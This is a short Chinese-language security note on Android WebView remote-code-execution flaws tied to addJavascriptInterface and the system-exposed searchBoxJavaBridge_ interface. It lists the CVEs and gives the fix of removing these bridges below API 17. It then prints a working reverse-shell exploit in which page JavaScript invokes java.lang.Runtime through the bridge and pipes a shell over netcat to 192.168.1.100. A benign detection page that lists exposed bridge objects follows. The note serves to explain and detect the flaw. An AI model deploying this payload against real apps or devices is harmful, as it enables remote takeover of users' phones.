参考资料
关键字
searchboxjavabridge
我读书少,你不要骗我
http://blog.kainaodong.com/?p=26
Android WebView RCE漏洞 指尖安全
https://www.secfree.com/article-280.html
WebView漏洞,为何是打不死的小强?
https://jaq.alibaba.com/blog.htm?id=89
简要说明
涉及漏洞
CVE-2012-6636,
CVE-2013-4710,
CVE-2014-1939,
CVE-2014-7224
相关接口
addJavascriptInterface,
searchBoxJavaBridge_
accessibility
accessibilityTraversal
解决方法
这几个漏洞意思大概就是,虽然自己App不使用addJavascriptInterface了,但是系统的一些功能用到了addJavascriptInterface接口,大概有三个:searchBoxJavaBridge 、accessibility 、 accessibilityTraversal。
对于API17以下,使用WebView控件的时候,不光要记得重载addJavascriptInterface为空方法,还要主动移除searchBoxJavaBridge。
反弹 shell exp
反弹shell (reverse shell)
1 2 3 4 5 6 7 8
| <script> function execute(cmdArgs) { return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","nc 192.168.1.100 8888|/system/bin/sh|nc 192.168.1.100 6666"]); alert("nice shell"); </script>
|
POC
检测 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>WebView 漏洞检测</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> </head> <body> <p> <b>如果当前 app 存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b> </p> <script type="text/javascript"> function check() { for (var obj in window) { try { if ("getClass" in window[obj]) { try{ window[obj].getClass(); document.write('<span style="color:red">'+obj+'</span>'); document.write('<br />'); }catch(e){ } } } catch(e) { } } } check(); </script> </body> </html>
|